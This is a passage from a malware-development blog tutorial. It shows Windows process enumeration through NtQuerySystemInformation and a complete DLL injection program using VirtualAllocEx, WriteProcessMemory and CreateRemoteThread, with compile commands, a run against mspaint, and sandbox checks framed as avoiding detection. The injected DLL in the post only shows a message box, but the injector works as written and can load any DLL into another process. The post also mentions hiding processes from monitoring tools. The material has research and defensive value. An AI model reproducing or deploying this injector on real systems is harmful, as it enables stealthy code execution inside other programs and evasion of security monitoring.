pid = findMyProc(argv[1]);
printf("%s%d\n", pid > 0 ? "process found at pid = " : "process not found. pid = ", pid);
return 0;
}
demo
Let’s compile it using MinGW:
x86_64-w64-mingw32-gcc hack.c -o hack.exe -s -ffunction-sections -fdata-sections -Wno-write-strings -static-libgcc
Now, let’s test it. I’ll open mspaint.exe and try to find its PID:
.\hack.exe mspaint.exe
As you can see everything is worked as expected! =^..^=
Let’s analyze with ANY.RUN:
As you can see, ANY.RUN says that everything is ok: no threats detected.
So our logic using this NT function for process enum not looks as malicious or suspicious action.
https://app.any.run/tasks/b6caa188-9899-4181-affe-5c4e25f4ca82
practical example 2. DLL injection
Of course we can use it for some “bad” actions. Let’s say we have “malicious” DLL:
/*
* evil.c
* simple DLL for DLL inject to process
* author: @cocomelonc
*/
#include <windows.h>
BOOL APIENTRY DllMain(HMODULE hModule, DWORD nReason, LPVOID lpReserved) {
switch (nReason) {
case DLL_PROCESS_ATTACH:
MessageBox(
NULL,
"Meow from evil.dll!",
"=^..^=",
MB_OK
);
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}
Let’s inject it via finding victim’s id by NtQuerySystemInformation (hack2.c):
/*
* hack2.c
* process enum via NtQuerySystemInformation
* DLL injection example
* author: @cocomelonc
* https://cocomelonc.github.io/malware/2025/12/26/malware-trick-55.html
*/
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char evilDLL[] = "Z:\\evil.dll";
unsigned int evilLen = sizeof(evilDLL) + 1;
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, * PUNICODE_STRING;
// https://github.com/winsiderss/systeminformer/blob/master/phnt/include/ntexapi.h#L1324
typedef enum _SYSTEM_INFORMATION_CLASS {
SystemBasicInformation, // q: SYSTEM_BASIC_INFORMATION
SystemProcessorInformation, // q: SYSTEM_PROCESSOR_INFORMATION
SystemPerformanceInformation, // q: SYSTEM_PERFORMANCE_INFORMATION
SystemTimeOfDayInformation, // q: SYSTEM_TIMEOFDAY_INFORMATION
SystemPathInformation, // not implemented
SystemProcessInformation, // q: SYSTEM_PROCESS_INFORMATION
SystemCallCountInformation, // q: SYSTEM_CALL_COUNT_INFORMATION
SystemDeviceInformation, // q: SYSTEM_DEVICE_INFORMATION
SystemProcessorPerformanceInformation, // q: SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION (EX in: USHORT ProcessorGroup)
SystemFlagsInformation, // q: SYSTEM_FLAGS_INFORMATION
SystemCallTimeInformation, // not implemented // SYSTEM_CALL_TIME_INFORMATION // 10
SystemModuleInformation, // q: RTL_PROCESS_MODULES
SystemLocksInformation, // q: RTL_PROCESS_LOCKS
SystemStackTraceInformation, // q: RTL_PROCESS_BACKTRACES
SystemPagedPoolInformation, // not implemented
SystemNonPagedPoolInformation, // not implemented
SystemHandleInformation, // q: SYSTEM_HANDLE_INFORMATION
SystemObjectInformation, // q: SYSTEM_OBJECTTYPE_INFORMATION mixed with SYSTEM_OBJECT_INFORMATION
SystemPageFileInformation, // q: SYSTEM_PAGEFILE_INFORMATION
SystemVdmInstemulInformation, // q: SYSTEM_VDM_INSTEMUL_INFO
SystemVdmBopInformation, // not implemented // 20
SystemFileCacheInformation, // q: SYSTEM_FILECACHE_INFORMATION; s (requires SeIncreaseQuotaPrivilege) (info for WorkingSetTypeSystemCache)
SystemPoolTagInformation, // q: SYSTEM_POOLTAG_INFORMATION
SystemInterruptInformation, // q: SYSTEM_INTERRUPT_INFORMATION (EX in: USHORT ProcessorGroup)
SystemDpcBehaviorInformation, // q: SYSTEM_DPC_BEHAVIOR_INFORMATION; s: SYSTEM_DPC_BEHAVIOR_INFORMATION (requires SeLoadDriverPrivilege)
SystemFullMemoryInformation, // not implemented // SYSTEM_MEMORY_USAGE_INFORMATION
SystemLoadGdiDriverInformation, // s (kernel-mode only)
SystemUnloadGdiDriverInformation, // s (kernel-mode only)
SystemTimeAdjustmentInformation, // q: SYSTEM_QUERY_TIME_ADJUST_INFORMATION; s: SYSTEM_SET_TIME_ADJUST_INFORMATION (requires SeSystemtimePrivilege)
SystemSummaryMemoryInformation, // not implemented // SYSTEM_MEMORY_USAGE_INFORMATION
SystemMirrorMemoryInformation, // s (requires license value "Kernel-MemoryMirroringSupported") (requires SeShutdownPrivilege) // 30
SystemPerformanceTraceInformation, // q; s: (type depends on EVENT_TRACE_INFORMATION_CLASS)
SystemObsolete0, // not implemented
SystemExceptionInformation, // q: SYSTEM_EXCEPTION_INFORMATION
SystemCrashDumpStateInformation, // s: SYSTEM_CRASH_DUMP_STATE_INFORMATION (requires SeDebugPrivilege)
SystemKernelDebuggerInformation, // q: SYSTEM_KERNEL_DEBUGGER_INFORMATION
SystemContextSwitchInformation, // q: SYSTEM_CONTEXT_SWITCH_INFORMATION
SystemRegistryQuotaInformation, // q: SYSTEM_REGISTRY_QUOTA_INFORMATION; s (requires SeIncreaseQuotaPrivilege)
SystemExtendServiceTableInformation, // s (requires SeLoadDriverPrivilege) // loads win32k only
SystemPrioritySeperation, // s (requires SeTcbPrivilege)
SystemVerifierAddDriverInformation, // s (requires SeDebugPrivilege) // 40
SystemVerifierRemoveDriverInformation, // s (requires SeDebugPrivilege)
SystemProcessorIdleInformation, // q: SYSTEM_PROCESSOR_IDLE_INFORMATION (EX in: USHORT ProcessorGroup)
SystemLegacyDriverInformation, // q: SYSTEM_LEGACY_DRIVER_INFORMATION
SystemCurrentTimeZoneInformation, // q; s: RTL_TIME_ZONE_INFORMATION
SystemLookasideInformation, // q: SYSTEM_LOOKASIDE_INFORMATION
SystemTimeSlipNotification, // s: HANDLE (NtCreateEvent) (requires SeSystemtimePrivilege)
SystemSessionCreate, // not implemented
SystemSessionDetach, // not implemented
SystemSessionInformation, // not implemented (SYSTEM_SESSION_INFORMATION)
SystemRangeStartInformation, // q: SYSTEM_RANGE_START_INFORMATION // 50
SystemVerifierInformation, // q: SYSTEM_VERIFIER_INFORMATION; s (requires SeDebugPrivilege)
SystemVerifierThunkExtend, // s (kernel-mode only)
SystemSessionProcessInformation, // q: SYSTEM_SESSION_PROCESS_INFORMATION
SystemLoadGdiDriverInSystemSpace, // s: SYSTEM_GDI_DRIVER_INFORMATION (kernel-mode only) (same as SystemLoadGdiDriverInformation)
SystemNumaProcessorMap, // q: SYSTEM_NUMA_INFORMATION
SystemPrefetcherInformation, // q; s: PREFETCHER_INFORMATION // PfSnQueryPrefetcherInformation
SystemExtendedProcessInformation, // q: SYSTEM_PROCESS_INFORMATION
SystemRecommendedSharedDataAlignment, // q: ULONG // KeGetRecommendedSharedDataAlignment
SystemComPlusPackage, // q; s: ULONG
SystemNumaAvailableMemory, // q: SYSTEM_NUMA_INFORMATION // 60
SystemProcessorPowerInformation, // q: SYSTEM_PROCESSOR_POWER_INFORMATION (EX in: USHORT ProcessorGroup)
SystemEmulationBasicInformation, // q: SYSTEM_BASIC_INFORMATION
SystemEmulationProcessorInformation, // q: SYSTEM_PROCESSOR_INFORMATION
SystemExtendedHandleInformation, // q: SYSTEM_HANDLE_INFORMATION_EX
SystemLostDelayedWriteInformation, // q: ULONG
SystemBigPoolInformation, // q: SYSTEM_BIGPOOL_INFORMATION
SystemSessionPoolTagInformation, // q: SYSTEM_SESSION_POOLTAG_INFORMATION
SystemSessionMappedViewInformation, // q: SYSTEM_SESSION_MAPPED_VIEW_INFORMATION
SystemHotpatchInformation, // q; s: SYSTEM_HOTPATCH_CODE_INFORMATION
SystemObjectSecurityMode, // q: ULONG // 70
SystemWatchdogTimerHandler, // s: SYSTEM_WATCHDOG_HANDLER_INFORMATION // (kernel-mode only)
SystemWatchdogTimerInformation, // q: SYSTEM_WATCHDOG_TIMER_INFORMATION // (kernel-mode only)
SystemLogicalProcessorInformation, // q: SYSTEM_LOGICAL_PROCESSOR_INFORMATION (EX in: USHORT ProcessorGroup)
SystemWow64SharedInformationObsolete, // not implemented
SystemRegisterFirmwareTableInformationHandler, // s: SYSTEM_FIRMWARE_TABLE_HANDLER // (kernel-mode only)
SystemFirmwareTableInformation, // SYSTEM_FIRMWARE_TABLE_INFORMATION
SystemModuleInformationEx, // q: RTL_PROCESS_MODULE_INFORMATION_EX
SystemVerifierTriageInformation, // not implemented
SystemSuperfetchInformation, // q; s: SUPERFETCH_INFORMATION // PfQuerySuperfetchInformation
SystemMemoryListInformation, // q: SYSTEM_MEMORY_LIST_INFORMATION; s: SYSTEM_MEMORY_LIST_COMMAND (requires SeProfileSingleProcessPrivilege) // 80
SystemFileCacheInformationEx, // q: SYSTEM_FILECACHE_INFORMATION; s (requires SeIncreaseQuotaPrivilege) (same as SystemFileCacheInformation)
SystemThreadPriorityClientIdInformation, // s: SYSTEM_THREAD_CID_PRIORITY_INFORMATION (requires SeIncreaseBasePriorityPrivilege)
SystemProcessorIdleCycleTimeInformation, // q: SYSTEM_PROCESSOR_IDLE_CYCLE_TIME_INFORMATION[] (EX in: USHORT ProcessorGroup)
SystemVerifierCancellationInformation, // SYSTEM_VERIFIER_CANCELLATION_INFORMATION // name:wow64:whNT32QuerySystemVerifierCancellationInformation
SystemProcessorPowerInformationEx, // not implemented
SystemRefTraceInformation, // q; s: SYSTEM_REF_TRACE_INFORMATION // ObQueryRefTraceInformation
SystemSpecialPoolInformation, // q; s: SYSTEM_SPECIAL_POOL_INFORMATION (requires SeDebugPrivilege) // MmSpecialPoolTag, then MmSpecialPoolCatchOverruns != 0
SystemProcessIdInformation, // q: SYSTEM_PROCESS_ID_INFORMATION
SystemErrorPortInformation, // s (requires SeTcbPrivilege)
SystemBootEnvironmentInformation, // q: SYSTEM_BOOT_ENVIRONMENT_INFORMATION // 90
SystemHypervisorInformation, // q: SYSTEM_HYPERVISOR_QUERY_INFORMATION
SystemVerifierInformationEx, // q; s: SYSTEM_VERIFIER_INFORMATION_EX
SystemTimeZoneInformation, // q; s: RTL_TIME_ZONE_INFORMATION (requires SeTimeZonePrivilege)
SystemImageFileExecutionOptionsInformation, // s: SYSTEM_IMAGE_FILE_EXECUTION_OPTIONS_INFORMATION (requires SeTcbPrivilege)
SystemCoverageInformation, // q: COVERAGE_MODULES s: COVERAGE_MODULE_REQUEST // ExpCovQueryInformation (requires SeDebugPrivilege)
SystemPrefetchPatchInformation, // SYSTEM_PREFETCH_PATCH_INFORMATION
SystemVerifierFaultsInformation, // s: SYSTEM_VERIFIER_FAULTS_INFORMATION (requires SeDebugPrivilege)
SystemSystemPartitionInformation, // q: SYSTEM_SYSTEM_PARTITION_INFORMATION
SystemSystemDiskInformation, // q: SYSTEM_SYSTEM_DISK_INFORMATION
SystemProcessorPerformanceDistribution, // q: SYSTEM_PROCESSOR_PERFORMANCE_DISTRIBUTION (EX in: USHORT ProcessorGroup) // 100
SystemNumaProximityNodeInformation, // q; s: SYSTEM_NUMA_PROXIMITY_MAP
SystemDynamicTimeZoneInformation, // q; s: RTL_DYNAMIC_TIME_ZONE_INFORMATION (requires SeTimeZonePrivilege)
SystemCodeIntegrityInformation, // q: SYSTEM_CODEINTEGRITY_INFORMATION // SeCodeIntegrityQueryInformation
SystemProcessorMicrocodeUpdateInformation, // s: SYSTEM_PROCESSOR_MICROCODE_UPDATE_INFORMATION
SystemProcessorBrandString, // q: CHAR[] // HaliQuerySystemInformation -> HalpGetProcessorBrandString, info class 23
SystemVirtualAddressInformation, // q: SYSTEM_VA_LIST_INFORMATION[]; s: SYSTEM_VA_LIST_INFORMATION[] (requires SeIncreaseQuotaPrivilege) // MmQuerySystemVaInformation
SystemLogicalProcessorAndGroupInformation, // q: SYSTEM_LOGICAL_PROCESSOR_INFORMATION_EX (EX in: LOGICAL_PROCESSOR_RELATIONSHIP RelationshipType) // since WIN7 // KeQueryLogicalProcessorRelationship
SystemProcessorCycleTimeInformation, // q: SYSTEM_PROCESSOR_CYCLE_TIME_INFORMATION[] (EX in: USHORT ProcessorGroup)
SystemStoreInformation, // q; s: SYSTEM_STORE_INFORMATION (requires SeProfileSingleProcessPrivilege) // SmQueryStoreInformation
SystemRegistryAppendString, // s: SYSTEM_REGISTRY_APPEND_STRING_PARAMETERS // 110
SystemAitSamplingValue, // s: ULONG (requires SeProfileSingleProcessPrivilege)
SystemVhdBootInformation, // q: SYSTEM_VHD_BOOT_INFORMATION
SystemCpuQuotaInformation, // q; s: PS_CPU_QUOTA_QUERY_INFORMATION
SystemNativeBasicInformation, // q: SYSTEM_BASIC_INFORMATION
SystemErrorPortTimeouts, // SYSTEM_ERROR_PORT_TIMEOUTS
SystemLowPriorityIoInformation, // q: SYSTEM_LOW_PRIORITY_IO_INFORMATION
SystemTpmBootEntropyInformation, // q: TPM_BOOT_ENTROPY_NT_RESULT // ExQueryTpmBootEntropyInformation
SystemVerifierCountersInformation, // q: SYSTEM_VERIFIER_COUNTERS_INFORMATION
SystemPagedPoolInformationEx, // q: SYSTEM_FILECACHE_INFORMATION; s (requires SeIncreaseQuotaPrivilege) (info for WorkingSetTypePagedPool)
SystemSystemPtesInformationEx, // q: SYSTEM_FILECACHE_INFORMATION; s (requires SeIncreaseQuotaPrivilege) (info for WorkingSetTypeSystemPtes) // 120
SystemNodeDistanceInformation, // q: USHORT[4*NumaNodes] // (EX in: USHORT NodeNumber)
SystemAcpiAuditInformation, // q: SYSTEM_ACPI_AUDIT_INFORMATION // HaliQuerySystemInformation -> HalpAuditQueryResults, info class 26
SystemBasicPerformanceInformation, // q: SYSTEM_BASIC_PERFORMANCE_INFORMATION // name:wow64:whNtQuerySystemInformation_SystemBasicPerformanceInformation
SystemQueryPerformanceCounterInformation, // q: SYSTEM_QUERY_PERFORMANCE_COUNTER_INFORMATION // since WIN7 SP1
SystemSessionBigPoolInformation, // q: SYSTEM_SESSION_POOLTAG_INFORMATION // since WIN8
SystemBootGraphicsInformation, // q; s: SYSTEM_BOOT_GRAPHICS_INFORMATION (kernel-mode only)
SystemScrubPhysicalMemoryInformation, // q; s: MEMORY_SCRUB_INFORMATION
SystemBadPageInformation,
SystemProcessorProfileControlArea, // q; s: SYSTEM_PROCESSOR_PROFILE_CONTROL_AREA
SystemCombinePhysicalMemoryInformation, // s: MEMORY_COMBINE_INFORMATION, MEMORY_COMBINE_INFORMATION_EX, MEMORY_COMBINE_INFORMATION_EX2 // 130
SystemEntropyInterruptTimingInformation, // q; s: SYSTEM_ENTROPY_TIMING_INFORMATION
SystemConsoleInformation, // q; s: SYSTEM_CONSOLE_INFORMATION
SystemPlatformBinaryInformation, // q: SYSTEM_PLATFORM_BINARY_INFORMATION (requires SeTcbPrivilege)
SystemPolicyInformation, // q: SYSTEM_POLICY_INFORMATION (Warbird/Encrypt/Decrypt/Execute)
SystemHypervisorProcessorCountInformation, // q: SYSTEM_HYPERVISOR_PROCESSOR_COUNT_INFORMATION
SystemDeviceDataInformation, // q: SYSTEM_DEVICE_DATA_INFORMATION
SystemDeviceDataEnumerationInformation, // q: SYSTEM_DEVICE_DATA_INFORMATION
SystemMemoryTopologyInformation, // q: SYSTEM_MEMORY_TOPOLOGY_INFORMATION
SystemMemoryChannelInformation, // q: SYSTEM_MEMORY_CHANNEL_INFORMATION
SystemBootLogoInformation, // q: SYSTEM_BOOT_LOGO_INFORMATION // 140
SystemProcessorPerformanceInformationEx, // q: SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION_EX // (EX in: USHORT ProcessorGroup) // since WINBLUE
SystemCriticalProcessErrorLogInformation,
SystemSecureBootPolicyInformation, // q: SYSTEM_SECUREBOOT_POLICY_INFORMATION
SystemPageFileInformationEx, // q: SYSTEM_PAGEFILE_INFORMATION_EX
SystemSecureBootInformation, // q: SYSTEM_SECUREBOOT_INFORMATION
SystemEntropyInterruptTimingRawInformation,
SystemPortableWorkspaceEfiLauncherInformation, // q: SYSTEM_PORTABLE_WORKSPACE_EFI_LAUNCHER_INFORMATION
SystemFullProcessInformation, // q: SYSTEM_PROCESS_INFORMATION with SYSTEM_PROCESS_INFORMATION_EXTENSION (requires admin)
SystemKernelDebuggerInformationEx, // q: SYSTEM_KERNEL_DEBUGGER_INFORMATION_EX
SystemBootMetadataInformation, // 150
SystemSoftRebootInformation, // q: ULONG
SystemElamCertificateInformation, // s: SYSTEM_ELAM_CERTIFICATE_INFORMATION
SystemOfflineDumpConfigInformation, // q: OFFLINE_CRASHDUMP_CONFIGURATION_TABLE_V2
SystemProcessorFeaturesInformation, // q: SYSTEM_PROCESSOR_FEATURES_INFORMATION
SystemRegistryReconciliationInformation, // s: NULL (requires admin) (flushes registry hives)
SystemEdidInformation, // q: SYSTEM_EDID_INFORMATION
SystemManufacturingInformation, // q: SYSTEM_MANUFACTURING_INFORMATION // since THRESHOLD
SystemEnergyEstimationConfigInformation, // q: SYSTEM_ENERGY_ESTIMATION_CONFIG_INFORMATION
SystemHypervisorDetailInformation, // q: SYSTEM_HYPERVISOR_DETAIL_INFORMATION
SystemProcessorCycleStatsInformation, // q: SYSTEM_PROCESSOR_CYCLE_STATS_INFORMATION (EX in: USHORT ProcessorGroup) // 160
SystemVmGenerationCountInformation,
SystemTrustedPlatformModuleInformation, // q: SYSTEM_TPM_INFORMATION
SystemKernelDebuggerFlags, // SYSTEM_KERNEL_DEBUGGER_FLAGS
SystemCodeIntegrityPolicyInformation, // q; s: SYSTEM_CODEINTEGRITYPOLICY_INFORMATION
SystemIsolatedUserModeInformation, // q: SYSTEM_ISOLATED_USER_MODE_INFORMATION
SystemHardwareSecurityTestInterfaceResultsInformation,
SystemSingleModuleInformation, // q: SYSTEM_SINGLE_MODULE_INFORMATION
SystemAllowedCpuSetsInformation,
SystemVsmProtectionInformation, // q: SYSTEM_VSM_PROTECTION_INFORMATION (previously SystemDmaProtectionInformation)
SystemInterruptCpuSetsInformation, // q: SYSTEM_INTERRUPT_CPU_SET_INFORMATION // 170
SystemSecureBootPolicyFullInformation, // q: SYSTEM_SECUREBOOT_POLICY_FULL_INFORMATION
SystemCodeIntegrityPolicyFullInformation,
SystemAffinitizedInterruptProcessorInformation, // (requires SeIncreaseBasePriorityPrivilege)
SystemRootSiloInformation, // q: SYSTEM_ROOT_SILO_INFORMATION
SystemCpuSetInformation, // q: SYSTEM_CPU_SET_INFORMATION // since THRESHOLD2
SystemCpuSetTagInformation, // q: SYSTEM_CPU_SET_TAG_INFORMATION
SystemWin32WerStartCallout,
SystemSecureKernelProfileInformation, // q: SYSTEM_SECURE_KERNEL_HYPERGUARD_PROFILE_INFORMATION
SystemCodeIntegrityPlatformManifestInformation, // q: SYSTEM_SECUREBOOT_PLATFORM_MANIFEST_INFORMATION // since REDSTONE
SystemInterruptSteeringInformation, // SYSTEM_INTERRUPT_STEERING_INFORMATION_INPUT // 180
SystemSupportedProcessorArchitectures, // p: in opt: HANDLE, out: SYSTEM_SUPPORTED_PROCESSOR_ARCHITECTURES_INFORMATION[] // NtQuerySystemInformationEx
SystemMemoryUsageInformation, // q: SYSTEM_MEMORY_USAGE_INFORMATION
SystemCodeIntegrityCertificateInformation, // q: SYSTEM_CODEINTEGRITY_CERTIFICATE_INFORMATION
SystemPhysicalMemoryInformation, // q: SYSTEM_PHYSICAL_MEMORY_INFORMATION // since REDSTONE2
SystemControlFlowTransition, // (Warbird/Encrypt/Decrypt/Execute)
SystemKernelDebuggingAllowed, // s: ULONG
SystemActivityModerationExeState, // SYSTEM_ACTIVITY_MODERATION_EXE_STATE
SystemActivityModerationUserSettings, // SYSTEM_ACTIVITY_MODERATION_USER_SETTINGS
SystemCodeIntegrityPoliciesFullInformation,
SystemCodeIntegrityUnlockInformation, // SYSTEM_CODEINTEGRITY_UNLOCK_INFORMATION // 190
SystemIntegrityQuotaInformation,
SystemFlushInformation, // q: SYSTEM_FLUSH_INFORMATION
SystemProcessorIdleMaskInformation, // q: ULONG_PTR[ActiveGroupCount] // since REDSTONE3
SystemSecureDumpEncryptionInformation,
SystemWriteConstraintInformation, // SYSTEM_WRITE_CONSTRAINT_INFORMATION
SystemKernelVaShadowInformation, // SYSTEM_KERNEL_VA_SHADOW_INFORMATION
SystemHypervisorSharedPageInformation, // SYSTEM_HYPERVISOR_SHARED_PAGE_INFORMATION // since REDSTONE4
SystemFirmwareBootPerformanceInformation,
SystemCodeIntegrityVerificationInformation, // SYSTEM_CODEINTEGRITYVERIFICATION_INFORMATION
SystemFirmwarePartitionInformation, // SYSTEM_FIRMWARE_PARTITION_INFORMATION // 200
SystemSpeculationControlInformation, // SYSTEM_SPECULATION_CONTROL_INFORMATION // (CVE-2017-5715) REDSTONE3 and above.
SystemDmaGuardPolicyInformation, // SYSTEM_DMA_GUARD_POLICY_INFORMATION
SystemEnclaveLaunchControlInformation, // SYSTEM_ENCLAVE_LAUNCH_CONTROL_INFORMATION
SystemWorkloadAllowedCpuSetsInformation, // SYSTEM_WORKLOAD_ALLOWED_CPU_SET_INFORMATION // since REDSTONE5
SystemCodeIntegrityUnlockModeInformation,
SystemLeapSecondInformation, // SYSTEM_LEAP_SECOND_INFORMATION
SystemFlags2Information, // q: SYSTEM_FLAGS_INFORMATION
SystemSecurityModelInformation, // SYSTEM_SECURITY_MODEL_INFORMATION // since 19H1
SystemCodeIntegritySyntheticCacheInformation,
SystemFeatureConfigurationInformation, // SYSTEM_FEATURE_CONFIGURATION_INFORMATION // since 20H1 // 210
SystemFeatureConfigurationSectionInformation, // SYSTEM_FEATURE_CONFIGURATION_SECTIONS_INFORMATION
SystemFeatureUsageSubscriptionInformation, // SYSTEM_FEATURE_USAGE_SUBSCRIPTION_DETAILS
SystemSecureSpeculationControlInformation, // SECURE_SPECULATION_CONTROL_INFORMATION
SystemSpacesBootInformation, // since 20H2
SystemFwRamdiskInformation, // SYSTEM_FIRMWARE_RAMDISK_INFORMATION
SystemWheaIpmiHardwareInformation,
SystemDifSetRuleClassInformation,
SystemDifClearRuleClassInformation,
SystemDifApplyPluginVerificationOnDriver,
SystemDifRemovePluginVerificationOnDriver, // 220
SystemShadowStackInformation, // SYSTEM_SHADOW_STACK_INFORMATION
SystemBuildVersionInformation, // SYSTEM_BUILD_VERSION_INFORMATION
SystemPoolLimitInformation, // SYSTEM_POOL_LIMIT_INFORMATION (requires SeIncreaseQuotaPrivilege)
SystemCodeIntegrityAddDynamicStore,
SystemCodeIntegrityClearDynamicStores,
SystemDifPoolTrackingInformation,
SystemPoolZeroingInformation, // SYSTEM_POOL_ZEROING_INFORMATION
SystemDpcWatchdogInformation,
SystemDpcWatchdogInformation2,
SystemSupportedProcessorArchitectures2, // q: in opt: HANDLE, out: SYSTEM_SUPPORTED_PROCESSOR_ARCHITECTURES_INFORMATION[] // NtQuerySystemInformationEx // 230
SystemSingleProcessorRelationshipInformation, // q: SYSTEM_LOGICAL_PROCESSOR_INFORMATION_EX // (EX in: PROCESSOR_NUMBER Processor)
SystemXfgCheckFailureInformation,
SystemIommuStateInformation, // SYSTEM_IOMMU_STATE_INFORMATION // since 22H1
SystemHypervisorMinrootInformation, // SYSTEM_HYPERVISOR_MINROOT_INFORMATION
SystemHypervisorBootPagesInformation, // SYSTEM_HYPERVISOR_BOOT_PAGES_INFORMATION
SystemPointerAuthInformation, // SYSTEM_POINTER_AUTH_INFORMATION
SystemSecureKernelDebuggerInformation,
SystemOriginalImageFeatureInformation,
MaxSystemInfoClass
} SYSTEM_INFORMATION_CLASS;
// https://processhacker.sourceforge.io/doc/ntbasic_8h.html
typedef LONG KPRIORITY;
// https://doxygen.reactos.org/da/df4/struct__SYSTEM__PROCESS__INFORMATION.html
typedef struct _SYSTEM_PROCESS_INFORMATION {
ULONG NextEntryOffset;
ULONG NumberOfThreads;
LARGE_INTEGER WorkingSetPrivateSize; //VISTA
ULONG HardFaultCount; //WIN7
ULONG NumberOfThreadsHighWatermark; //WIN7
ULONGLONG CycleTime; //WIN7
LARGE_INTEGER CreateTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER KernelTime;
UNICODE_STRING ImageName;
KPRIORITY BasePriority;
HANDLE UniqueProcessId;
HANDLE InheritedFromUniqueProcessId;
ULONG HandleCount;
ULONG SessionId;
ULONG_PTR PageDirectoryBase;
SIZE_T PeakVirtualSize;
SIZE_T VirtualSize;
ULONG PageFaultCount;
SIZE_T PeakWorkingSetSize;
SIZE_T WorkingSetSize;
SIZE_T QuotaPeakPagedPoolUsage;
SIZE_T QuotaPagedPoolUsage;
SIZE_T QuotaPeakNonPagedPoolUsage;
SIZE_T QuotaNonPagedPoolUsage;
SIZE_T PagefileUsage;
SIZE_T PeakPagefileUsage;
SIZE_T PrivatePageCount;
LARGE_INTEGER ReadOperationCount;
LARGE_INTEGER WriteOperationCount;
LARGE_INTEGER OtherOperationCount;
LARGE_INTEGER ReadTransferCount;
LARGE_INTEGER WriteTransferCount;
LARGE_INTEGER OtherTransferCount;
// SYSTEM_THREAD_INFORMATION TH[1];
} SYSTEM_PROCESS_INFORMATION, * PSYSTEM_PROCESS_INFORMATION;
// typedef NtQuerySystemInformation
typedef NTSTATUS (NTAPI *fnNtQuerySystemInformation)(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
int findMyProc(const char* procName) {
fnNtQuerySystemInformation pNtQuerySystemInformation = NULL;
ULONG uReturnLen = 0;
PSYSTEM_PROCESS_INFORMATION SystemProcInfo = NULL;
PVOID pValueToFree = NULL;
NTSTATUS STATUS = 0;
int pid = 0;
// get function address from ntdll
pNtQuerySystemInformation = (fnNtQuerySystemInformation)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQuerySystemInformation");
if (pNtQuerySystemInformation == NULL) return 0;
// convert ANSI to WideChar (LPCWSTR) for comparsion
int nLen = MultiByteToWideChar(CP_ACP, 0, procName, -1, NULL, 0);
WCHAR* szTargetProc = (WCHAR*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, nLen * sizeof(WCHAR));
if (szTargetProc == NULL) return 0;
MultiByteToWideChar(CP_ACP, 0, procName, -1, szTargetProc, nLen);
// get buffer size
pNtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)5, NULL, 0, &uReturnLen);
// allocate memory
SystemProcInfo = (PSYSTEM_PROCESS_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (SIZE_T)uReturnLen);
if (SystemProcInfo == NULL) {
HeapFree(GetProcessHeap(), 0, szTargetProc);
return 0;
}
pValueToFree = SystemProcInfo;
// get information about processes
STATUS = pNtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)5, SystemProcInfo, uReturnLen, &uReturnLen);
if (STATUS != 0) {
HeapFree(GetProcessHeap(), 0, pValueToFree);
HeapFree(GetProcessHeap(), 0, szTargetProc);
return 0;
}
// enum
while (TRUE) {
if (SystemProcInfo->ImageName.Length && SystemProcInfo->ImageName.Buffer) {
if (wcscmp(SystemProcInfo->ImageName.Buffer, szTargetProc) == 0) {
pid = (int)(ULONG_PTR)SystemProcInfo->UniqueProcessId;
break;
}
}
if (!SystemProcInfo->NextEntryOffset) break;
SystemProcInfo = (PSYSTEM_PROCESS_INFORMATION)((ULONG_PTR)SystemProcInfo + SystemProcInfo->NextEntryOffset);
}
// cleanup
HeapFree(GetProcessHeap(), 0, pValueToFree);
HeapFree(GetProcessHeap(), 0, szTargetProc);
return pid;
}
int main(int argc, char* argv[]) {
int pid = 0; // process ID
HANDLE ph; // process handle
HANDLE rt; // remote thread
LPVOID rb; // remote buffer
// handle to kernel32 and pass it to GetProcAddress
HMODULE hKernel32 = GetModuleHandle("Kernel32");
VOID *lb = GetProcAddress(hKernel32, "LoadLibraryA");
// get process ID by name
pid = findMyProc(argv[1]);
printf("%s%d\n", pid > 0 ? "process found at pid = " : "process not found. pid = ", pid);
if (pid == 0) {
return -1;
}
// open process
ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(pid));
if (ph == NULL) {
printf("OpenProcess failed! exiting...\n");
return -1;
}
// allocate memory buffer for remote process
rb = VirtualAllocEx(ph, NULL, evilLen, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
// "copy" evil DLL between processes
WriteProcessMemory(ph, rb, evilDLL, evilLen, NULL);
// our process start new thread
rt = CreateRemoteThread(ph, NULL, 0, (LPTHREAD_START_ROUTINE)lb, rb, 0, NULL);
CloseHandle(ph);
return 0;
}
As you can see, logic is pretty simple, find PID via NtQuerySystemInformation and inject our meow DLL.
demo 2
Compile DLL:
x86_64-w64-mingw32-gcc -shared -o evil.dll evil.c
Compile our malware:
x86_64-w64-mingw32-gcc hack.c -o hack.exe -s -ffunction-sections -fdata-sections -Wno-write-strings -static-libgcc
Then run on our victim’s machine:
.\hack2.exe mspaint.exe
As you can see, everything is worked perfectly again, as expected! =^..^=
Let’s analyze with ANY.RUN:
As you can see, ANY.RUN says that: Suspicious activity.
https://app.any.run/tasks/cf60b6ba-817e-4f86-b887-693be8419a4f
But this is related to the injection logic and not to our NT function
Thanks to ANY.RUN for API!
final words
Using NtQuerySystemInformation is a another classic technique in malware development to stay away from the more obvious Win32 APIs. While not a “silver bullet” against modern EDRs (which monitor NTAPI calls as well), it provides a better understanding of how Windows manages process data internally.
As far as I know this function used by Process Hacker, for performance in process enumeration.
The MHook library also got a significant performance boost when switching from CreateToolhelp32Snapshot() to NtQuerySystemInformation()
Another caveat, by intercepting calls to the NtQuerySystemInformation function, we also can hide a some specified process, from common process monitoring tools such as Task Manager and Process Hacker. This is also an interesting trick in malware development, but I will write about this in a separate post.
I hope this post is useful for malware researchers, C/C++ programmers, spreads awareness to the blue teamers of this interesting technique, and adds a weapon to the red teamers arsenal.
NtQuerySystemInformation
Mhook Enhancements: 10x Speed Improvement and Other Fixes
ANY.RUN
